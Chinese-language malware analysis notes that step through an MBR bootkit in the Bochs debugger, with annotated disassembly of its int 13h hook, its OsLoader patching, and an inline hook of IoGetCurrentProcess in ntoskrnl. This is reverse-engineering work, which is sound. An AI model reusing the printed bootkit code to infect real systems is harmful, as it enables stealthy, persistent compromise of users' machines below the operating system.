(0) Breakpoint 2, 0x000000000009c09e in ?? ()
Next at t=141023403
(0) [0x000000000009c09e] 9c00:009e : push 0x0000               ; 680000
CPU0:
ax: 0x00aa      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x009e
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF

 资料中特别注意,从这里开始需要解密后才能看到,这里把解密后的代码跟VirusMbr拼在一起进行注释,原始代码不是这样的.

eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF
<bochs:64> p
Next at t=141023404
(0) [0x000000000009c0a1] 9c00:00a1 : pop es                    ; 07
CPU0:
ax: 0x00aa      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07dc
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00a1
es:0x9c00       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF
<bochs:65> p
Next at t=141023405
(0) [0x000000000009c0a2] 9c00:00a2 : mov eax, dword ptr es:0x4c ; 2666a14c00,int 13 address -> EAX
CPU0:
ax: 0x00aa      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00a2
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF

  这里 [es:4c]存放的是int 13中断处理程序地址 ,下面这里就是hook int13

eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF
<bochs:66> p
Next at t=141023406
(0) [0x000000000009c0a7] 9c00:00a7 : mov dword ptr cs:0x106, eax ; 2e66a30601, 保存原始的13号中断程序入口
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00a7
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF
<bochs:67> p
Next at t=141023407
(0) [0x000000000009c0ac] 9c00:00ac : mov word ptr es:0x4c, 0x00f9 ; 26c7064c00f900,写入病毒的int13
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00ac
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF
(0) [0x000000000009c0b3] 9c00:00b3 : mov word ptr es:0x4e, cs  ; 268c0e4e00
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00b3
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF
<bochs:69> p
Next at t=141023409
(0) [0x000000000009c0b8] 9c00:00b8 : xor ebx, ebx              ; 6631db
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00b8
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000017: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf AF PF CF
<bochs:70> p
Next at t=141023410
(0) [0x000000000009c0bb] 9c00:00bb : mov bx, cs                ; 8ccb
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00bb
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:71> p
Next at t=141023411
(0) [0x000000000009c0bd] 9c00:00bd : shl ebx, 0x04             ; 66c1e304
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0x9c00      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00bd
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

就是把地址记下来,放到9c000,加上205保存到CS:200h

<bochs:72> p
Next at t=141023412
(0) [0x000000000009c0c1] 9c00:00c1 : or dword ptr cs:0x239, ebx ; 2e66091e3902
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0xc000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00c1
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000006: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af PF cf
eflags 0x00000006: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af PF cf
<bochs:73> p
Next at t=141023413
(0) [0x000000000009c0c7] 9c00:00c7 : or dword ptr cs:0x3c3, ebx ; 2e66091ec303
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0xc000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00c7
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:74> p
Next at t=141023414
(0) [0x000000000009c0cd] 9c00:00cd : add ebx, 0x00000204       ; 6681c304020000
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0xc000      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00cd
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000006: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af PF cf
<bochs:78> x /16xb 0x9c200
[bochs]:
0x000000000009c200 <bogus+       0>:    0x00    0x00    0x00    0x00    0x9c    0x60    0x8b    0x7c
0x000000000009c208 <bogus+       8>:    0x24    0x24    0x81    0xe7    0x00    0x00    0xf0    0xff
<bochs:79> p
Next at t=141023416
(0) [0x000000000009c0da] 9c00:00da : mov di, 0x7c00            ; bf007c
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0xc204      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0xffac      ip: 0x00da
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:80> x /16xb 0x9c200
[bochs]:
0x000000000009c200 <bogus+       0>:    0x04    0xc2    0x09    0x00    0x9c    0x60    0x8b    0x7c
0x000000000009c208 <bogus+       8>:    0x24    0x24    0x81    0xe7    0x00    0x00    0xf0    0xff

放在这的原因是后面有个hookcall [0x9c200],跳到这里。

后面病毒对Ntldr进行,hook的回跳地址,重新获取控,制权,并且此时已经进入保护模式。下面就是跳到原始地方执行。

(0) [0x000000000009c0dd] 9c00:00dd : mov si, 0x2600            ; be0026
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0xc204      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0x7c00      ip: 0x00dd
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:82> p
Next at t=141023418
(0) [0x000000000009c0e0] 9c00:00e0 : mov cx, 0x0200            ; b90002
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0xc204      sp: 0x07de
bp: 0x0000      si: 0x2600      di: 0x7c00      ip: 0x00e0
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:83> p
Next at t=141023419
(0) [0x000000000009c0e3] 9c00:00e3 : cld                       ; fc
CPU0:
ax: 0xe3fe      cx: 0x0200      dx: 0x0080      bx: 0xc204      sp: 0x07de
bp: 0x0000      si: 0x2600      di: 0x7c00      ip: 0x00e3
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:84> p
Next at t=141023420
(0) [0x000000000009c0e4] 9c00:00e4 : rep movsb byte ptr es:[di], byte ptr ds:[si] ; f3a4
CPU0:
ax: 0xe3fe      cx: 0x0200      dx: 0x0080      bx: 0xc204      sp: 0x07de
bp: 0x0000      si: 0x2600      di: 0x7c00      ip: 0x00e4
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:85> p
Next at t=141023932
(0) [0x000000000009c0e6] 9c00:00e6 : pop ds                    ; 1f
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0xc204      sp: 0x07de
bp: 0x0000      si: 0x2800      di: 0x7e00      ip: 0x00e6
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x9c00       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:86> p
Next at t=141023933
(0) [0x000000000009c0e7] 9c00:00e7 : popad                     ; 6661
CPU0:
ax: 0xe3fe      cx: 0x0000      dx: 0x0080      bx: 0xc204      sp: 0x07e0
bp: 0x0000      si: 0x2800      di: 0x7e00      ip: 0x00e7
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:87> p
Next at t=141023934
(0) [0x000000000009c0e9] 9c00:00e9 : lss sp, es:0x602          ; 260fb2260206
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0x0800
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x00e9
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:88> p
Next at t=141023935
(0) [0x000000000009c0ef] 9c00:00ef : mov es, word ptr es:0x600 ; 268e060006
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0xffd6
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x00ef
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:89> p
Next at t=141023936
(0) [0x000000000009c0f4] 9c00:00f4 : jmp far 0000:7c00         ; ea007c0000
CPU0:
ax: 0xaa55      cx: 0x0000      dx: 0x0080      bx: 0x0000      sp: 0xffd6
bp: 0x0000      si: 0x0000      di: 0xffac      ip: 0x00f4
es:0x0000       cs:0x9c00       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000002: id vip vif ac vm rf nt IOPL=0 of df if tf sf zf af pf cf
<bochs:90> p
Next at t=141023937
(0) [0x0000000000007c00] 0000:7c00 : xor ax, ax                ; 33c0

这些就是调到原始mbr,去执行。下面就应该在int13下断点。还有在找到BloadBootDrivers后的断点,下面进入磁盘读写,都会进入病毒的int13中断。

seg000:00DA                 mov     di, 7C00h

seg000:00DD                 mov     si, 2600h

seg000:00E0                 mov     cx, 200h

seg000:00E3                 cld

seg000:00E4                 rep movsb               ; 这几句代码把操作系统的OriMbr写回

seg000:00E4                                         ; 7C00处,然后直接跳转过去执行原始

seg000:00E4                                         ; 的MBR,由于已经HOOK了int13,之后可

seg000:00E4                                         ; 以获取系统控制权的

seg000:00E6                 pop     ds

seg000:00E7                 popad

seg000:00E9                 lss     sp, es:602h

seg000:00EF                 mov     es, word ptr es:600h

seg000:00F4                 jmp     far ptr 0:7C00h ; 跳回去执行OriMbr

seg000:00F9 ; ---------------------------------------------------------------------------

seg000:00F9

seg000:00F9 @Int13Hook:                             ; DATA XREF: seg000:00AC↑o

seg000:00F9                 pushf                   ; 这部分是病毒Hook int13后进行自己的处理

seg000:00F9                                         ; MS在加载NTLDR的时候使用的是42H的扩展读

seg000:00F9                                         ; 通过Hook int13中断,在加载NTLDR的时候,

seg000:00F9                                         ; 扫描NTLDR,找到OsLoader.exe指定指令序列,

seg000:00F9                                         ; 对OsLoader.exe进行Hook,这部分的代码参考

seg000:00F9                                         ; 的是Eeye的BootRoot代码

seg000:00FA                 cmp     ah, 42h ; 'B'   ; DISK - IBM/MS Extension - EXTENDED READ

seg000:00FD                 jz      short @Int13Hook_ReadRequest

seg000:00FF                 cmp     ah, 2           ; DISK - Read Sector

seg000:0102                 jz      short @Int13Hook_ReadRequest ; 对int 13的2h和42h子功能进行过滤

seg000:0102                                         ; 如果不是这两种调用就直接跳到int13

seg000:0102                                         ; 中断处理去,如果是就做自己的处理先

seg000:0104                 popf

seg000:0104 ; ---------------------------------------------------------------------------

seg000:0105                 db 0EAh ;             ; jmp OldInt13

seg000:0105                                         ; 下面106处保存的是旧的int 13入口

seg000:0105                                         ; 四个字节,结合起来就是JMP OldInt13

seg000:0106 OldInt13Addr    dd 0                    ; DATA XREF: seg000:00A7↑w

seg000:0106                                         ; seg000:0110↓r

seg000:010A ; ---------------------------------------------------------------------------

seg000:010A

seg000:010A @Int13Hook_ReadRequest:                 ; CODE XREF: seg000:00FD↑j

seg000:010A                                         ; seg000:0102↑j

seg000:010A                 popf

seg000:010B                 mov     word ptr cs:INT13LASTFUNCTION+1, ax ; 修改传送的扇区数

seg000:010B                                         ; 这里又是直接修改代码段当中的数据

seg000:010B                                         ; INT13LASTFUNCTION标签位置+1

seg000:010B                                         ; 即是mov ax, xxxx,把0修改为xxxx,保存AH功能号

seg000:010F                 pushf

seg000:0110                 call    cs:OldInt13Addr ;调用原始功能读取磁盘数据。

seg000:0115                 jb      @Int13Hook_Ret

seg000:0119                 pushf

seg000:011A                 cli

seg000:011B                 push    es

seg000:011C                 push    ds

seg000:011D                 pushad

seg000:011F

seg000:011F INT13LASTFUNCTION:                      ; DATA XREF: seg000:010B↑w

seg000:011F                                         ; seg000:0129↓w ...

seg000:011F                 mov     ax, 0           ;前面保存的功能号

seg000:0122                 cmp     ah, 42h ; 'B'   ;是否扩展读

seg000:0125                 jnz     short @Int13Hook_NotExtRead

seg000:0127                 lodsw

seg000:0128                 lodsw

seg000:0129                 mov     word ptr cs:INT13LASTFUNCTION+1, ax

seg000:012D                 les     bx, [si]

seg000:012F

seg000:012F @Int13Hook_NotExtRead:                  ; CODE XREF: seg000:0125↑j

seg000:012F                 mov     ax, word ptr cs:INT13LASTFUNCTION+1

seg000:0133                 test    al, al

seg000:0135                 jle     short @Int13Hook_Scan_Done

seg000:0137                 xor     cx, cx

seg000:0139                 mov     cl, al

seg000:013B                 shl     cx, 9

seg000:013E                 mov     al, 8Bh ; '

seg000:0140                 mov     di, bx  ;es:bx 读取数据缓冲区->di

seg000:0142                 cld

seg000:0143

seg000:0143 @Int13Hook_Scan_Loop:                   ; CODE XREF: seg000:014F↓j

seg000:0143                                         ; seg000:0157↓j

seg000:0143                 repne scasb

seg000:0145                 jnz     short @Int13Hook_Scan_Done

seg000:0147                 cmp     dword ptr es:[di], 74F685F0h ;

seg000:0147                                         ; OsLoader扫描标志:

seg000:0147                                         ; F0 85 F6 74 21 80

seg000:014F                 jnz     short @Int13Hook_Scan_Loop

seg000:0151                 cmp     word ptr es:[di+4], 8021h

seg000:0157                 jnz     short @Int13Hook_Scan_Loop

seg000:0159                 push    es    ;找到_BlLoadBootDriver@12,di->0x422a70(0xf0)

所以就是找8Bh,0x74F685F0h,然后zhao8021h,找到,我们应该在这里也就是BloadBootDrivers的0x9c159下断点。

(0) [0x0000000000007c00] 0000:7c00 : jmp .+82 (0x00007c54)     ; eb52
CPU0:
ax: 0x0001      cx: 0x0001      dx: 0x0180      bx: 0x7c00      sp: 0x7c00
bp: 0x07be      si: 0x07be      di: 0x7c00      ip: 0x7c00
es:0x0000       cs:0x0000       ss:0x0000       ds:0x0000       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

所以我们就又在7c00处断下,前面在这是mbr,现在这里是加载vbr。然后把前面断点去掉。

<bochs:93> d 1
<bochs:94> blist
Num Type           Disp Enb Address2 pbreakpoint    keep y   0x000000000009c09e3 pbreakpoint    keep y   0x000000000009c159
<bochs:95> d 2
<bochs:96> blist
Num Type           Disp Enb Address3 pbreakpoint    keep y   0x000000000009c159
<bochs:97> c
(0) Breakpoint 3, 0x000000000009c159 in ?? ()
Next at t=141628021
(0) [0x000000000009c159] 9c00:0159 : push es                   ; 06
CPU0:
ax: 0x028b      cx: 0x00e0      dx: 0xf480      bx: 0x0000      sp: 0xcf58
bp: 0x07be      si: 0x4408      di: 0x0120      ip: 0x0159
es:0x46a0       cs:0x9c00       ss:0x0000       ds:0x0d00       fs:0x0000       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

这时候断下说明找到了这个断点。 下面就是写入hook了。hook0x14ffh.进行Osloader.exe的Hook,就是写入上面的call [0x9c200]

下一个短语应该在0x9c204,表示执行完loadrdriver时候

 然后给她写进去表示已经找到loaddriver,下一个断点应该下载0x9c204h

eg000:015A                 xor     eax, eax

seg000:015D                 mov     es, ax

seg000:015F                 mov     ax, cs

seg000:0161                 shl     eax, 4

seg000:0165                 add     eax, 200h

seg000:016B                 pop     es

seg000:016C                 mov     word ptr es:[di-1], 15FFh ;

seg000:016C                                         ; 进行Osloader.exe的Hook,形式是

seg000:016C                                         ; Call dword ptr [Offset],这样的好处是

seg000:016C                                         ; 只需要6个字节,OsLoader.exe当中提供的

seg000:016C                                         ; 也刚好是6个字节的空余地方(看图)

seg000:0172                 mov     es:[di+1], eax  ;写入 HOOK 指令

<bochs:107> pb 0x9c204
<bochs:108> blist
Num Type           Disp Enb Address3 pbreakpoint    keep y   0x000000000009c1594 pbreakpoint    keep y   0x000000000009c204
<bochs:109> c
DR0=0x0000000000000000
DR1=0x0000000000000000
DR2=0x0000000000000000
DR3=0x0000000000000000
DR6=0x00000000ffff0ff0
DR7=0x0000000000000400
(0) Breakpoint 4, 0x000000000009c204 in ?? ()
Next at t=212602644
(0) [0x000000000009c204] 0008:000000000009c204 (unk. ctxt): pushfd                    ; 9c
CPU0:
eax: 0x00000000 0
ecx: 0x0000bb40 47936
edx: 0x00002830 10288
ebx: 0x00000100 256
esp: 0x000600f0 393456
ebp: 0x00060e34 396852
esi: 0x00000000 0
edi: 0x00060d4c 396620
eip: 0x0009c204
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

当断下来就不一样了,这时候已经进入了保护模式。 

保护模式代码:

seg000:00000000                 .686p

seg000:00000000                 .mmx

seg000:00000000                 .model flat

seg000:00000000

seg000:00000000 ; ===========================================================================

seg000:00000000

seg000:00000000 ; Segment type: Pure code

seg000:00000000 seg000          segment byte public 'CODE' use32

seg000:00000000                 assume cs:seg000

seg000:00000000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing

seg000:00000000                 dd 9C204h               ; ntldr hook call address

_BlLoadBootDriver@12被调用后,执行的HOOK 代码。当病毒再次获取到控制权,此时系统已近通过Startup.com切换到保护模式下了,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图

 我们需要去找内核的那个表头

 

Next at t=212602645
(0) [0x000000000009c205] 0008:000000000009c205 (unk. ctxt): pushad                    ; 60
CPU0:
eax: 0x00000000 0
ecx: 0x0000bb40 47936
edx: 0x00002830 10288
ebx: 0x00000100 256
esp: 0x000600ec 393452
ebp: 0x00060e34 396852
esi: 0x00000000 0
edi: 0x00060d4c 396620
eip: 0x0009c205
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:111> p
Next at t=212602646
(0) [0x000000000009c206] 0008:000000000009c206 (unk. ctxt): mov edi, dword ptr ss:[esp+36] ; 8b7c2424
CPU0:
eax: 0x00000000 0
ecx: 0x0000bb40 47936
edx: 0x00002830 10288
ebx: 0x00000100 256
esp: 0x000600cc 393420
ebp: 0x00060e34 396852
esi: 0x00000000 0
edi: 0x00060d4c 396620
eip: 0x0009c206
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

 mov edi, dword ptr ss:[esp+36] ; 的作用就是从popad的堆栈找4*9,第九个也就是返回地址。通过调用栈找返回地址。

 

seg000:00000004 ; ---------------------------------------------------------------------------

seg000:00000004                 pushf

seg000:00000005                 pusha

seg000:00000006                 mov     edi, [esp+24h]  ; [ESP+24h]为EIP,指向OsLoader

seg000:00000006                                         ; 存到EDI调整后供搜索使用

seg000:0000000A                 and     edi, 0FFF00000h ; 将EDI调整为镜像基址

seg000:00000010                 cld

seg000:00000011                 mov     al, 0C7h ; '  ; 搜索标志40003446h的前一个字节,可以参考图片

seg000:00000013

seg000:00000013 @ModuleList_SigLoop:                    ; CODE XREF: seg000:00000014↓j

seg000:00000013                                         ; seg000:0000001C↓j

seg000:00000013                 scasb                   ; 将edi与al进行比较,每次执行后edi+1

seg000:00000014                 jnz     short @ModuleList_SigLoop

seg000:00000016                 cmp     dword ptr [edi], 40003446h ; 搜索标志,具体代码可以参考图片

seg000:0000001C                 jnz     short @ModuleList_SigLoop

seg000:0000001E                 mov     al, 0A1h ; '  ; 下一句代码是把_BlLoaderBlock写入EAX

seg000:0000001E                                         ; 搜索这句代码机器码的第一个字节,之后

seg000:0000001E                                         ; 的便是_BlLoaderBlock地址

所以下面我命应该下_BlLoaderBlock地址断点。

<bochs:115> pb 0x9c223
<bochs:116> c
(0) Breakpoint 5, 0x000000000009c223 in ?? ()
Next at t=212780127
(0) [0x000000000009c223] 0008:000000000009c223 (unk. ctxt): mov esi, dword ptr ds:[edi] ; 8b37
CPU0:
eax: 0x000000a1 161
ecx: 0x0000bb40 47936
edx: 0x00002830 10288
ebx: 0x00000100 256
esp: 0x000600cc 393420
ebp: 0x00060e34 396852
esi: 0x00000000 0
edi: 0x00415922 4282658
eip: 0x0009c223
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

这时找到BlLoaderBlock地址,找到这个链表就可以看他的结构。ntoskrnl是他的第一项。

一直p

<bochs:120> p
Next at t=212780131
(0) [0x000000000009c22b] 0008:000000000009c22b (unk. ctxt): call .+55 (0x0009c267)    ; e837000000
CPU0:
eax: 0x8008a2e0 -2146917664
ecx: 0x0000bb40 47936
edx: 0x00002830 10288
ebx: 0x804d8000 -2142404608
esp: 0x000600cc 393420
ebp: 0x00060e34 396852
esi: 0x80087004 -2146930684
edi: 0x00415922 4282658
eip: 0x0009c22b
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf

这里表示找到ebx基地址,放到ebx里面。 这里有个 call    OverHookFunc    ; 调用OverHookFunc之后会直接返回,下面就不会执行了。这里要s跟进去

发现里面是pop esi,说明函数不是通过ret返回的,

seg000:00000067 OverHookFunc    proc near               ; CODE XREF: seg000:0000002B↑p

seg000:00000067

seg000:00000067 arg_24          = dword ptr  28h

seg000:00000067

seg000:00000067                 pop     esi             ; call过来的,堆栈上是函数返回地址

seg000:00000067                                         ; 也就是ESI为@IoGetCurrentProcessHook的起始地址(seg000:00000030拷贝到Ntoskrnl.exe内存镜像PE)

seg000:00000068                 mov     ecx, 37h ; '7'  ; @IoGetCurrentProcessHook函数的代码长度,这里是硬编码37h

seg000:0000006D                 mov     [esi+204h], ebx ; EBX: Image Base Address

seg000:0000006D                                         ; 把EBX写入

Next at t=212780133
(0) [0x000000000009c268] 0008:000000000009c268 (unk. ctxt): mov ecx, 0x00000037       ; b937000000
CPU0:
eax: 0x8008a2e0 -2146917664
ecx: 0x0000bb40 47936
edx: 0x00002830 10288
ebx: 0x804d8000 -2142404608
esp: 0x000600cc 393420
ebp: 0x00060e34 396852
esi: 0x0009c230 639536
edi: 0x00415922 4282658
eip: 0x0009c268
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:123> p
Next at t=212780134
(0) [0x000000000009c26d] 0008:000000000009c26d (unk. ctxt): mov dword ptr ds:[esi+516], ebx ; 899e04020000
CPU0:
eax: 0x8008a2e0 -2146917664
ecx: 0x00000037 55
edx: 0x00002830 10288
ebx: 0x804d8000 -2142404608
esp: 0x000600cc 393420
ebp: 0x00060e34 396852
esi: 0x0009c230 639536
edi: 0x00415922 4282658
eip: 0x0009c26d
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:124>

下面这个是把ntoskrnl基地址给9c223.

相当于先把他保存一下。

seg000:00000073                 lea     edi, [ebx+40h]  ; EDI <- Image Base Address + 40h

seg000:00000076                 mov     ebp, edi        ; 保存@IoGetCurrentProcessHook地址后面使用

seg000:00000078                 rep movsb               ; 把@IoGetCurrentProcessHook的代

seg000:00000078                                         ; 码写入ImageBaseAddress+40h处

seg000:0000007A                 push    0CE8C3177h      ; Hash:IoGetCurrentProcess

seg000:0000007A                                         ; 要查找的函数名32位HASH值

seg000:0000007F                 call    @GetExport

seg000:00000084                 xchg    eax, esi        esi-> IoGetCurrentProcess

seg000:00000085                 sub     edi, 0Ah        edi-> seg000:00000067-0xa=0x5d

seg000:0000008B                 movsd

seg000:0000008C                 sub     edi, 6          edi-> seg000: 0x5b

seg000:00000092                 movsb                   ; 上面的代码修改@IoGetCurrentProcessHook代码,备份IoGetCurrentProcess,5字节指令

 

这里就是病毒传的是hash值,然后名字比较,这样可以节省空间。

CPU0:
eax: 0x8008a2e0 -2146917664
ecx: 0x00000000 0
edx: 0x00002830 10288
ebx: 0x804d8000 -2142404608
esp: 0x000600cc 393420
ebp: 0x804d8040 -2142404544
esi: 0x0009c267 639591
edi: 0x804d8077 -2142404489
eip: 0x0009c27a
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:128> p
Next at t=212780193
(0) [0x000000000009c27f] 0008:000000000009c27f (unk. ctxt): call .+421 (0x0009c429)   ; e8a5010000
CPU0:
eax: 0x8008a2e0 -2146917664
ecx: 0x00000000 0
edx: 0x00002830 10288
ebx: 0x804d8000 -2142404608
esp: 0x000600c8 393416
ebp: 0x804d8040 -2142404544
esi: 0x0009c267 639591
edi: 0x804d8077 -2142404489
eip: 0x0009c27f
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000046: id vip vif ac vm rf nt IOPL=0 of df if tf sf ZF af PF cf
<bochs:129> p
Next at t=212823964
(0) [0x000000000009c284] 0008:000000000009c284 (unk. ctxt): xchg esi, eax             ; 96
CPU0:
eax: 0x804f03c8 -2142305336
ecx: 0x00000000 0
edx: 0x00002830 10288
ebx: 0x804d8000 -2142404608
esp: 0x000600cc 393420
ebp: 0x804d8040 -2142404544
esi: 0x0009c267 639591
edi: 0x804d8077 -2142404489
eip: 0x0009c284
es:0x0010       cs:0x0008       ss:0x0010       ds:0x0010       fs:0x0030       gs:0x0000
eflags 0x00000082: id vip vif ac vm rf nt IOPL=0 of df if tf SF zf af pf cf

 

seg000:00000092                                         ; 使能够正确的返回到系统的IoGetCurrentProcess, esi-> IoGetCurrentProcess+5

seg000:00000093                 mov     byte ptr [esi-5], 0E8h ; ';写入IoGetCurrentProcess inline hook

seg000:00000097                 sub     ebp, esi

seg000:00000099                 mov     [esi-4], ebp    ; 上面的代码主要完成的功能是

seg000:00000099                                         ; Inline Hook IoGetCurrentProcess

seg000:00000099                                         ; 修改头5个字节为EB XXXXXXXX(ebp内容)调用IoGetCurrentProcess,就会call 到  Image Base Address + 40h的 HOOK 代码

seg000:00000099                                         ; 即CALL EBP,而EBP里面保存的是

seg000:00000099                                         ; @IoGetCurrentProcessHook地址

seg000:0000009C                 popa

seg000:0000009D                 popf

